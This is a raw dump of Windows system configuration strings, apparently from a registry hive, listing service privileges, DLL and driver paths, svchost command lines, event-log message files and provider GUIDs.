SeCreatePageFilePrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeShutdownPrivilege SeDebugPrivilege SeBackupPrivilege SeRestorePrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeManageVolumePrivilege SeSystemEnvironmentPrivilege SeCreateSymbolicLinkPrivilege SeIncreaseBasePriorityPrivilege @%systemroot%\system32\drivers\Wudfpf.sys,-1001 @%SystemRoot%\system32\drivers\Wudfpf.sys,-1000 base system32\drivers\WudfPf.sys RpcSs NdisUio @%SystemRoot%\System32\wwansvc.dll,-258 @%SystemRoot%\System32\wwansvc.dll,-257 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p localSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeAuditPrivilege SeLoadDriverPrivilege %SystemRoot%\System32\wwansvc.dll WwanSvcMain UserManager XblAuthManager @%systemroot%\system32\XblGameSave.dll,-101 @%systemroot%\system32\XblGameSave.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem %SystemRoot%\System32\XblGameSave.dll F6C98708-C7B8-4919-887C-2CE66E78B9A0 @%systemroot%\system32\xboxgipsvc.dll,-101 @%systemroot%\system32\xboxgipsvc.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeTcbPrivilege SeImpersonatePrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\XboxGipSvc.dll mpssvc IKEEXT KeyIso @%systemroot%\system32\XboxNetApiSvc.dll,-101 @%systemroot%\system32\XboxNetApiSvc.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeTcbPrivilege SeImpersonatePrivilege %SystemRoot%\system32\XboxNetApiSvc.dll eaptlsconnectionpropertiesv1 eaptlsconnectionpropertiesv1.xsd mschapv2connectionpropertiesv1 mschapv2connectionpropertiesv1.xsd mspeapconnectionpropertiesv1 mspeapconnectionpropertiesv1.xsd eaptlsuserpropertiesv1 eaptlsuserpropertiesv1.xsd mschapv2userpropertiesv1 mschapv2userpropertiesv1.xsd mspeapuserpropertiesv1 mspeapuserpropertiesv1.xsd %SystemRoot%\System32\XblAuthManager.dll %SystemRoot%\system32\jsproxy.dll %SystemRoot%\system32\winhttp.dll WinHttpAutoProxySvcMain %SystemRoot%\System32\WaaSMedicSvc.dll ServiceMain %SystemRoot%\system32\wshhyperv.dll Hyper-V RAWH CloseUsbPerformanceData CollectUsbPerformanceData %SystemRoot%\system32\usbperf.dll OpenUsbPerformanceData usbperf.ini UCPD - Top Instance 385250.5 MSKSSRV %SystemRoot%\system32\storsvc.dll f5663d1c-7cd6-4109-9d01-2c187b75c38f 44d1520b-6133-41f0-8a66-d37305ecc357 %systemroot%\system32\Windows.SharedPC.AccountManager.dll ServiceMain E64B9AEE-F372-4312-9A14-8F1502B5C8E3 %systemroot%\system32\LogFiles\Firewall\pfirewall.log %systemroot%\system32\LogFiles\Firewall\pfirewall.log %systemroot%\system32\LogFiles\Firewall\pfirewall.log %SystemRoot%\system32\SensorService.dll {0D49D945-FA83-4630-A22C-01387F906DE6} {0D49D945-FA83-4630-A22C-01387F906DE6} D09BDEB5-6171-4A34-BFE2-06FA82652568:8489BE1C-80A4-48BC-901A-AA91BD827A7C DB2CE634-191D-42AF-A28C-16BE97924CA7 97BE9507-17DA-4999-87D7-66C0B2D83CC7 6328DCC4-1658-4133-8062-A9943DAC2093 %SystemRoot%\System32\sens.dll ServiceMain %systemroot%\system32\schedsvc.dll ServiceMain hyst %SystemRoot%\System32\wshBth.dll MSAFD L2CAP [Bluetooth]t%\ MSAFD RfComm [Bluetooth] CloseReadyBoostPerfData CollectReadyBoostPerfData %systemroot%\system32\sysmain.dll OpenReadyBoostPerfData ReadyBoostPerfCounters.ini vpnike.dll rastapi %SystemRoot%\System32\rasmans.dll eapConnectionPropertiesV2">truetrueanonymous ServiceMain WlanApi.dll 9115dd05-fad5-4f9c-acc7-305d08b1b04e cred.microsoft.com https://cred.microsoft.com/ %SystemRoot%\System32\NgcCtnrSvc.dll ServiceMain C:\Windows\System32\NgcCtnrGidsHandler.dll 30034843-029d-46ec-8fff-5d12987f85c4 2d24ff0b-1bab-404c-a0fd-42c85577bf68 7642249B-84C2-4404-B6EB-1E0A2458839A e6f89680-fc98-11e3-80d4-10604b681cfa Tcpip PCI\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\000C29FFFFF29C8B00 255.255.255.255 _tcp \Device\ {143B03BE-F4B9-4775-979E-5392AB1B7EB2} {2475A152-2C35-4489-BCBA-A269BD3F5BA4} {F8D0708C-A86F-4CBA-A55A-F2081BD47721} {037BB880-2613-4F6E-9F84-9574CCA8DEAC} {26ED43EA-45C6-4EF6-9E9B-1740366C98BF} {3BF2A5F1-C95E-4F7B-B939-582DB5F32B81} D09BDEB5-6171-4A34-BFE2-06FA82652568:582A47B2-BCD8-4D3C-8ACB-FE09D5BD6EEC D09BDEB5-6171-4A34-BFE2-06FA82652568:CCB8AA07-7225-4EA0-8501-4B3C1B1ACD43 %systemroot%\system32\inventorysvc.dll ServiceMain %systemroot%\system32\es.dll %SystemRoot%\system32\wecsvc.dll %systemroot%\system32\winevt\logs\HardwareEvents.evtx O:BAG:SYD:(A;;0x07;;;DA)(A;;0x07;;;LA)(D;;0x07;;;DU)(A;;0x07;;;WD)S:(ML;;0x1;;;LW) %SystemRoot%\system32\sppsvc.exe %SystemRoot%\system32\sppsvc.exe {E23B33B0-C8C9-472C-A5F9-F2BDFEA0F156} %SystemRoot%\System32\wevtsvc.dll ServiceMain %SystemRoot%\system32\wevtapi.dll %SystemRoot%\System32\winevt\Logs\Security.evtx Security %SystemRoot%\System32\MsObjs.dll %SystemRoot%\System32\MsObjs.dll {fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148} %SystemRoot%\System32\wevtsvc.dll {54849625-5478-4994-a5ba-3e3b0328c30d} %SystemRoot%\system32\adtschema.dll %SystemRoot%\System32\MsObjs.dll %SystemRoot%\System32\MsAuditE.dll %SystemRoot%\System32\MsAuditE.dll %SystemRoot%\System32\MsObjs.dll %SystemRoot%\System32\MsObjs.dll %SystemRoot%\System32\MsAuditE.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll %SystemRoot%\System32\MsObjs.dll %SystemRoot%\System32\MsObjs.dll %SystemRoot%\System32\VSSVC.EXE PowerShell %SystemRoot%\system32\WindowsPowerShell\v1.0\pwrshmsg.dll %SystemRoot%\system32\WindowsPowerShell\v1.0\pwrshmsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\netevent.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\appmgmts.dll %SystemRoot%\System32\kernel32.dll {47bfa2b7-bd54-4fac-b70b-29021084ca8f} %SystemRoot%\system32\winsrv.dll %SystemRoot%\system32\AppReadiness.dll {f0be35f8-237b-4814-86b5-ade51192e503} %SystemRoot%\System32\mprmsg.dll %SystemRoot%\System32\iologmsg.dll;%SystemRoot%\System32\drivers\bxvbda.sys %SystemRoot%\System32\IoLogMsg.dll {ABCE23E7-DE45-4366-8631-84FA6C525952} %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\cht4sx64.sys {1B562E86-B7AA-4131-BADC-B6F3A001407E} {7DA4FE0E-FD42-4708-9AA5-89B77A224885} %SystemRoot%\System32\dhcpcore.dll %SystemRoot%\System32\kernel32.dll {15A7A4F8-0072-4EAB-ABAD-F98A4D666AED} %SystemRoot%\system32\dhcpcore6.dll %SystemRoot%\system32\kernelbase.dll {6A1F2B00-6A90-4C38-95A5-5CAB3B056778} %SystemRoot%\System32\dxgwdi.dll %Systemroot%\system32\netevent.dll %Systemroot%\system32\kernel32.dll %Systemroot%\system32\netevent.dll %Systemroot%\system32\kernel32.dll %SystemRoot%\System32\netevent.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\drivers\fltmgr.sys;%SystemRoot%\System32\IoLogMsg.dll {651DF93B-5053-4D1E-94C5-F6E6D25908D0} {7b6bc78c-898b-4170-bbf8-1a469ea43fc5} %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\iaStorAVC.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\iaStorV.sys %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\system32\drivers\iaLPSSi_GPIO.sys {d386cc7a-620a-41c1-abf5-55018c6c699a} %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\system32\drivers\iaLPSSi_I2C.sys {D4AEAC44-AD44-456E-9C90-33F8CDCED6AF} %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\system32\drivers\iaLPSS2i_GPIO2.sys {63848cff-3ec7-4ddf-8072-5f95e8c8eb98} %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\system32\drivers\iaLPSS2i_I2C.sys {C2F86198-03CA-4771-8D4C-CE6E15CBCA56} %SystemRoot%\System32\rtm.dll {29D13147-1C2E-48EC-9994-E29DFE496EB3} {A6F32731-9A38-4159-A220-3D9B7FC5FE5D} %SystemRoot%\System32\mprmsg.dll {F2C628AE-D26C-4352-9C45-74754E1E2F9F} %SystemRoot%\System32\IPxlatCfg.dll {3E5AC668-AF52-4C15-B99B-A3E7A6616EBD} %SystemRoot%\System32\kerberos.dll {98E6CFCB-EE0A-41E0-A57B-622D4E1B30B1} C:\Windows\System32\locationframework.dll %SystemRoot%\System32\netevent.dll %SystemRoot%\System32\netevent.dll %SystemRoot%\System32\localkdcsvc.dll {57c834d7-0368-5d1b-8f01-1e2f89f0000d} %SystemRoot%\system32\lsm.dll {5d896912-022d-40aa-a3a8-4fa5515c76d7} %SystemRoot%\System32\IoLogMsg.dll {5d674230-ca9f-11da-a94d-0800200c9a66} %SystemRoot%\system32\fveapi.dll {651df93b-5053-4d1e-94c5-f6e6d25908d0} %SystemRoot%\system32\drivers\fvevol.sys {ef1cc15b-46c1-414e-bb95-e76b077bd51e} %systemroot%\system32\qmgr.dll {4af188ac-e9c4-4c11-b07b-1fabc07dfeb2} %SystemRoot%\system32\bthserv.dll {0b886108-1899-4d3a-9c0d-42d8fc4b9108} %windir%\system32\drivers\cmimcext.sys {3629dd4d-d6f1-4302-a623-0768b51501c7} %windir%\System32\joinproviderol.dll {ba093605-3909-4345-990b-26b746adee0a} %SystemRoot%\system32\cofiredm.dll {d6f68875-cdf5-43a5-a3e3-53ffd683311c} %SystemRoot%\system32\cofiredm.dll {56c71c31-cfbd-4cdd-8559-505e042bbbe1} %SystemRoot%\system32\das.dll {64fb8d23-f0b6-5d2d-b1f6-488303c1761f} %SystemRoot%\system32\deviceaccess.dll {64ef2b1c-4ae1-4e64-8599-1636e441ec88} %SystemRoot%\system32\deviceaccess.dll {7da4fe0e-fd42-4708-9aa5-89b77a224885} %SystemRoot%\system32\netevent.dll {15a7a4f8-0072-4eab-abad-f98a4d666aed} %SystemRoot%\system32\dhcpcore.dll {6a1f2b00-6a90-4c38-95a5-5cab3b056778} %systemroot%\system32\dhcpcore6.dll {36c23e18-0e66-11d9-bbeb-505054503030} %windir%\system32\netdiagfx.dll {e670a5a2-ce74-4ab4-9347-61b815319f4c} %windir%\system32\dfdts.dll {1b562e86-b7aa-4131-badc-b6f3a001407e} %systemroot%\system32\combase.dll {1c95126e-7eea-49a9-a3fe-a378b03ddb4d} %SystemRoot%\system32\dnsapi.dll {2e35aaeb-857f-4beb-a418-2e6c0e54d988} %SystemRoot%\system32\WUDFPlatform.dll {e8abc5fb-bf87-5462-278d-1b5e18775a8f} %SystemRoot%\System32\ThreatAssessment.dll {aa3aa23b-bb6d-425a-b58c-1d7e37f5d02a} %SystemRoot%\System32\Drivers\EhStorTcgDrv.sys {b977cf02-76f6-df84-cc1a-6a4b232322b6} %SystemRoot%\system32\wecsvc.dll {fc65ddd8-d6ef-4962-83d5-6e5cfe9ce148} %SystemRoot%\System32\wevtsvc.dll {494e7a3d-8db9-4ec4-b43e-2844af6e38d6} %SystemRoot%\system32\drivers\exfat.sys {a82fda5d-745f-409c-b0fe-18ae0678a0e0} %windir%\system32\clusapi.dll {3e59a529-b0b3-4a11-8129-9ffe6bb46eb9} %SystemRoot%\system32\drivers\fastfat.sys {6b93bf66-a922-4c11-a617-cf60d95c133d} %SystemRoot%\system32\fthsvc.dll {e595f735-b42a-494b-afcd-b68666945cd3} %SystemRoot%\System32\mpssvc.dll {dea07764-0790-44de-b9c4-49677b17174f} %SystemRoot%\system32\fms.dll {538cbbad-4877-4eb2-b26e-7caee8f0f8cb} %SystemRoot%\system32\fdphost.dll {55ab77f6-fa04-43ef-af45-688fbf500482} %SystemRoot%\system32\drivers\msgpioclx.sys {aea1b4fa-97d1-45f2-a64c-4d69fffd92c9} %systemroot%\system32\gpsvc.dll {63d1e632-95cc-4443-9312-af927761d52a} %systemroot%\system32\microsoft-windows-hal-events.dll {7b6bc78c-898b-4170-bbf8-1a469ea43fc5} %SystemRoot%\system32\drivers\http.sys {dd5ef90a-6398-47a4-ad34-4dcecdef795f} %SystemRoot%\system32\drivers\HTTP.SYS {52fc89f8-995e-434c-a91e-199986449890} %windir%\system32\hvloader.dll {66a5c15c-4f8e-4044-bf6e-71d896038977} %windir%\system32\iphlpsvc.dll {6600e712-c3b6-44a2-8a48-935c511f28c8} %windir%\system32\iphlpsvc.dll {73a33ab2-1966-4999-8add-868c41415269} %systemroot%\system32\iumbase.dll {951b41ea-c830-44dc-a671-e2c9958809b8} %systemroot%\system32\microsoft-windows-kernel-processor-power-events.dll {9c205a39-1250-487d-abd7-e831c6290539} %SystemRoot%\system32\microsoft-windows-kernel-pnp-events.dll {331c3b3a-2005-44c2-ac5e-77220c37d6b4} %systemroot%\system32\microsoft-windows-kernel-power-events.dll {0f67e49f-fe51-4e9f-b490-6f2948cc6027} %systemroot%\system32\microsoft-windows-kernel-processor-power-events.dll {4cec9c95-a65f-4591-b5c4-30100e51d870} %SystemRoot%\system32\ktmw32.dll {7b563579-53c8-44e7-8236-0f87b9fe6594} %SystemRoot%\system32\PSHED.DLL {f029ac39-38f0-4a40-b7de-404d244004cb} %SystemDrive%\Windows\System32\Drivers\VerifierExt.sys {7237fff9-a08a-4804-9c79-4a8704b70b87} %SystemRoot%\system32\lpksetup.exe {babda89a-4d5e-48eb-af3d-e0e8410207c0} %SystemRoot%\system32\MemoryDiagnostic.dll {5f92bc59-248f-4111-86a9-e393e12c6139} %SystemRoot%\System32\relpost.exe {73e9c9de-a148-41f7-b1db-4da051fdc327} %SystemRoot%\System32\mdsched.exe {e3bac9f8-27be-4823-8d7f-1cc320c05fa7} %SystemRoot%\system32\drivers\mountmgr.sys {cdead503-17f5-4a3e-b7ae-df8cc2902eb9} %windir%\system32\drivers\ndis.sys {62de9e48-90c6-4755-8813-6a7d655b0802} %SystemRoot%\system32\drivers\NdisImPlatform.sys {0075e1ab-e1d1-5d1f-35f5-da36fb4f41b1} %SystemRoot%\system32\drivers\ExecutionContext.sys {a67075c2-3e39-4109-b6cd-6d750058a731} %windir%\system32\drivers\bridge.sys {1e9a4978-78c2-441e-8858-75b5d1326bc5} %windir%\system32\drivers\mup.sys {95353826-4fbe-41d4-9c42-f521c6e86360} %systemroot%\system32\cscsvc.dll {46c78e5c-a213-46a8-8a6b-622f6916201d} %SystemRoot%\system32\drivers\wof.sys {a7f2235f-be51-51ed-decf-f4498812a9a2} %SystemRoot%\system32\drivers\nvdimm.sys {0fa2ee03-1feb-5057-3bb3-eb25521b8482} %SystemRoot%\system32\drivers\pmem.sys {306c4e0b-e148-543d-315b-c618eb93157c} %SystemRoot%\system32\umpoext.dll {cdc05e28-c449-49c6-b9d2-88cf761644df} %systemroot%\system32\pots.dll {cd9c6198-bf73-4106-803b-c17d26559018} %SystemRoot%\system32\drivers\refs.sys {059f0f37-910e-4ff0-a7ee-ae8d49dd319b} %SystemRoot%\system32\drivers\refsv1.sys {a4445c76-ed85-c8a3-02c1-532a38614a9e} %windir%\system32\ResetEngine.dll {9988748e-c2e8-4054-85f6-0c3e1cad2470} %SystemRoot%\system32\radardt.dll {74c2135f-cc76-45c3-879a-ef3bb1eeaf86} %SystemRoot%\system32\fdrespub.dll {9f650c63-9409-453c-a652-83d7185a2e83} %SystemRoot%\system32\certprop.dll {47bc9477-a8ba-452e-b951-4f2ed3593cf9} %SystemRoot%\system32\drivers\SerCx.sys {eee173ef-7ed2-45de-9877-01c70a852fbd} %SystemRoot%\system32\drivers\SerCx2.sys %SystemRoot%\servicing\cbsmsg.dll {bd12f3b8-fc40-4a61-a307-b7a013a069c1} {75ebc33e-997f-49cf-b49f-ecc50184b75d} %SystemRoot%\system32\oobe\winsetup.dll {530fb9b9-c515-4472-9313-fb346f9255e3} %SystemRoot%\system32\setupetw.dll {72cd9ff7-4af8-4b89-aede-5f26fda13567} %SystemRoot%\system32\drivers\SpbCx.sys {991f8fe6-249d-44d6-b93d-5a3060c1dedb} %SystemRoot%\system32\drivers\hidi2c.sys {d0e22efc-ac66-4b25-a72d-382736b5e940} %systemroot%\System32\MsSpellCheckingFacility.dll {b2fcd41f-9a40-4150-8c92-b224b7d8c8aa} %systemroot%\System32\MsSpellCheckingFacility.dll {c914f0df-835a-4a22-8c70-732c9a80c634} %SystemRoot%\System32\reagent.dll {43e63da5-41d1-4fbf-aded-1bbed98fdd1d} %windir%\system32\csrsrv.dll {de7b24ea-73c8-4a09-985d-5bdadcfa9017} %SystemRoot%\system32\schedsvc.dll {5d896912-022d-40aa-a3a8-4fa5515c76d7} %SystemRoot%\system32\lsm.dll {c76baa63-ae81-421c-b425-340b4b24157f} %SystemRoot%\system32\termsrv.dll {06edcfeb-0fd0-4e53-acca-a6f8bbf81bcb} %SystemRoot%\system32\w32time.dll {7d5387b0-cbe0-11da-a94d-0800200c9a66} %SystemRoot%\system32\TpmCoreProvisioning.dll {f708c483-4880-11e6-9121-5cf37068b67b} %SystemRoot%\System32\Drivers\UMDF\UsbccidDriver.dll {7725b5f9-1f2e-4e21-baeb-b2af4690bc87} %SystemRoot%\system32\drivers\MAUSBHOST.sys {ac52ad17-cc01-4f85-8df5-4dce4333c99b} %systemroot%\System32\drivers\usbhub3.sys {30e1d284-5d88-459c-83fd-6345b39b19ec} %SystemRoot%\system32\drivers\usbxhci.sys {ce8dee0b-d539-4000-b0f8-77bed049c590} %SystemRoot%\system32\umpo.dll {96f4a050-7e31-453c-88be-9634f4e02139} %SystemRoot%\system32\umpnpmgr.dll {abce23e7-de45-4366-8631-84fa6c525952} %SystemRoot%\system32\werfault.exe {c26c4f3c-3f66-4e99-8f8a-39405cfed220} %systemroot%\system32\whealogr.dll {d1bc9aff-2abf-4d71-9146-ecb2a986eb85} %SystemRoot%\system32\mpssvc.dll {2e6cb42e-161d-413b-a6c1-84ca4c1e5890} %SystemRoot%\System32\pwlauncher.dll {945a8954-c147-4acd-923f-40c45405a658} %systemroot%\system32\wuaueng.dll {206f6dea-d3c5-4d10-bc72-989f03c8b84b} %SystemRoot%\system32\wininit.exe {dbe9b383-7cf3-4331-91cc-a3cb16a3b538} %SystemRoot%\system32\winlogon.exe {1f7a6c55-5532-573b-35b7-2107e43a6ef5} %windir%\system32\WinREAgent.dll {9580d7dd-0379-4658-9870-d5be7d52d6de} %windir%\system32\wlansvc.dll {6a2dc7c1-930a-4fb5-bb44-80b30aebed6c} %PROGRAMFILES%\Windows Media Player\wmpnetwk.exe %systemroot%\system32\netevent.dll;%systemroot%\system32\iologmsg.dll %SystemRoot%\system32\kernel32.dll %SystemRoot%\System32\netevent.dll %systemroot%\System32\iscsiexe.dll %systemroot%\system32\netevent.dll;%systemroot%\system32\iologmsg.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\netevent.dll {62de9e48-90c6-4755-8813-6a7d655b0802} %SystemRoot%\System32\mprmsg.dll %SystemRoot%\System32\mprmsg.dll %SystemRoot%\system32\iologmsg.dll %SystemRoot%\System32\netevent.dll {9741fd4e-3757-479f-a3c6-fc49f6d5edd0} %windir%\System32\netjoin.dll %SystemRoot%\System32\netmsg.dll %SystemRoot%\System32\kernel32.dll %SystemRoot%\System32\IoLogMsg.dll;%SystemRoot%\System32\drivers\nvstor.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\umpo.dll %SystemRoot%\System32\netevent.dll %SystemRoot%\System32\ntprint.dll {747EF6FD-E535-4d16-B510-42C90F6873A1} {5B33145C-1C66-49F3-B4CA-F563C165F2C0} %SystemRoot%\System32\mprmsg.dll %SystemRoot%\System32\mprmsg.dll %SystemRoot%\System32\mprmsg.dll %systemroot%\system32\sstpsvc.dll {6c260f2c-049a-43d8-bf4d-d350a4e6611a} C:\Windows\System32\netevent.dll %SystemRoot%\System32\mprmsg.dll %SystemRoot%\System32\iassvcs.dll %SystemRoot%\system32\RDXService.dll {d3f29eda-805d-428a-9902-b259b937f84b} %SystemRoot%\System32\netevent.dll %SystemRoot%\System32\samsrv.dll {0D4FDC09-8C27-494A-BDA0-505E4FD8ADAE} {4FCBF664-A33A-4652-B436-9D558983D955} \SystemRoot\system32\drivers\SerCx.sys \SystemRoot\system32\drivers\SerCx2.sys %SystemRoot%\System32\netevent.dll {555908d1-a6d7-4695-8e1e-26931d2012f4} %SystemRoot%\system32\services.exe %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll %SystemRoot%\System32\snmptrap.exe \SystemRoot\system32\drivers\SpbCx.sys %SystemRoot%\System32\netevent.dll %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\wiaservc.dll %SystemRoot%\system32\wevtapi.dll %SystemRoot%\system32\netevent.dll %SystemRoot%\system32\netevent.dll %SystemRoot%\System32\tcpmon.dll %SystemRoot%\system32\termsrv.dll {C76BAA63-AE81-421C-B425-340B4B24157F} {6e400999-5b82-475f-b800-cef6fe361539} %SystemRoot%\System32\umrdp.dll {952773BF-C2B7-49BC-88F4-920744B82C43} {b0aa8734-56f7-41cc-b2f4-de228e98b946} %SystemRoot%\system32\user32.dll %SystemRoot%\System32\vdsbas.dll %SystemRoot%\System32\vdsdyn.dll %SystemRoot%\System32\vdsvd.dll %SystemRoot%\System32\vds.exe {cb017cd2-1f37-4e65-82bc-3e91f6a37559} %SystemRoot%\system32\drivers\volsnap.sys %SystemRoot%\System32\IoLogMsg.dll %SystemRoot%\System32\IoLogMsg.dll %Systemroot%\system32\w32time.dll {06EDCFEB-0FD0-4E53-ACCA-A6F8BBF81BCB} %SystemRoot%\system32\WalletService.dll {6ED11B00-C1B5-48CB-AECC-FF72EBEFBAE8} C:\Windows\System32\drivers\Wdf01000.sys %SystemRoot%\System32\wecsvc.dll %SystemRoot%\System32\win32kbase.sys \SystemRoot\system32\drivers\WinAccelCx.sys %ProgramFiles%\Windows Defender\MpEvMsg.dll %ProgramFiles%\Windows Defender\MpEvMsg.dll {11CD958A-C507-4EF3-B3F2-5FD9DFBD2C78} %SystemRoot%\System32\DFDTS.dll %SystemRoot%\System32\wshext.dll C:\Windows\System32\winhttp.dll {7D44233D-3055-4B9C-BA64-0D47CA40A232} %SystemRoot%\System32\netevent.dll {A7975C8F-AC13-49F1-87DA-5A984A4AB417} %SystemRoot%\System32\IoLogMsg.dll %PROGRAMFILES%\Windows Media Player\wmpnetwk.exe {6A2DC7C1-930A-4FB5-BB44-80B30AEBED6C} C:\Windows\System32\netmsg.dll {AD5162D8-DAF0-4A25-88A7-01CBEB33902E} C:\Windows\System32\mscoree.dll C:\Windows\System32\mscoree.dll %SystemRoot%\system32\wevtapi.dll {a0e9b465-b939-57d7-b27d-95d8e925ff57} %SystemRoot%\system32\wer.dll {c631c3dc-c676-59e4-2db3-5c0af00f9675} %SystemRoot%\system32\wersvc.dll %SystemRoot%\System32\appmgmts.dll %SystemRoot%\System32\kernel32.dll {a83fa99f-c356-4ded-9fd6-5a5eb8546d68} %SystemRoot%\system32\ieframe.dll {F0DB7EF8-B6F3-4005-9937-FEB77B9E1B43} C:\Windows\System32\icardres.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelEvents.dll;C:\Windows\System32\icardres.dll {98BF1CD3-583E-4926-95EE-A61BF3F46470} {98BF1CD3-583E-4926-95EE-A61BF3F46470} {54164045-7C50-4905-963F-E5BC1EEF0CCA} %SystemRoot%\System32\ulib.dll {bf406804-6afa-46e7-8a48-6c357e1d6d61} {0f177893-4a9c-4709-b921-f432d67f43d5} %SystemRoot%\system32\dosvc.dll %SystemRoot%\system32\dwm.exe %SystemRoot%\System32\dskquota.dll 0x00000007 %SystemRoot%\system32\dwminit.dll {cd7cf0d0-02cc-4872-9b65-0dba0a90efe8} %SystemRoot%\system32\user32.dll %systemroot%\system32\esent.dll %systemroot%\system32\esent.dll {899daace-4868-4295-afcd-9eb8fb497561} %SystemRoot%\System32\fdeploy.dll {7D7B0C39-93F6-4100-BD96-4DDA859652C5} C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll C:\Windows\System32\gpprefcl.dll %SystemRoot%\System32\gpapi.dll %windir%\system32\wbem\ipmiprr.dll {2A45D52E-BBF3-4843-8E18-B356ED5F6A65} {4DE9BC9C-B27A-43C9-8994-0915F1A5E24F} {5ec13d8e-4b3f-422e-a7e7-3121a1d90c7a} %SystemRoot%\system32\apphelp.dll {d92ef8ac-99dd-4ab8-b91d-c6eba85f3755} {ae4bd3be-f36f-45b6-8d21-bdd6fb832853} %SystemRoot%\System32\audioses.dll {dab3b18c-3c0f-43e8-80b1-e44bc0dad901} %SystemRoot%\System32\AxInstSv.dll {1db28f2e-8f80-4027-8c5a-a11f7f10f62d} %windir%\system32\BlbEvents.dll {5bbca4a8-b209-48dc-a8c7-b23d3e5216fb} %SystemRoot%\System32\crypt32.dll {73370bd6-85e5-430b-b60a-fea1285808a7} %SystemRoot%\system32\dimsjob.dll {f0db7ef8-b6f3-4005-9937-feb77b9e1b43} %SystemRoot%\system32\pautoenr.dll {54164045-7c50-4905-963f-e5bc1eef0cca} %SystemRoot%\system32\certenroll.dll {89a2278b-c662-4aff-a06c-46ad3f220bca} %SystemRoot%\system32\dimsroam.dll {98bf1cd3-583e-4926-95ee-a61bf3f46470} %SystemRoot%\system32\certcli.dll {bf406804-6afa-46e7-8a48-6c357e1d6d61} %systemroot%\system32\combase.dll {C7E089AC-BA2A-11E0-9AF7-68384824019B} {E3E0E2F0-C9C5-11E0-8AB9-9EBC4824019B} {89fe8f40-cdce-464e-8217-15ef97d4c7c3} {43dad447-735f-4829-a6ff-9829a87419ff} {e8ed09dc-100c-45e2-9fc8-b53399ec1f70} 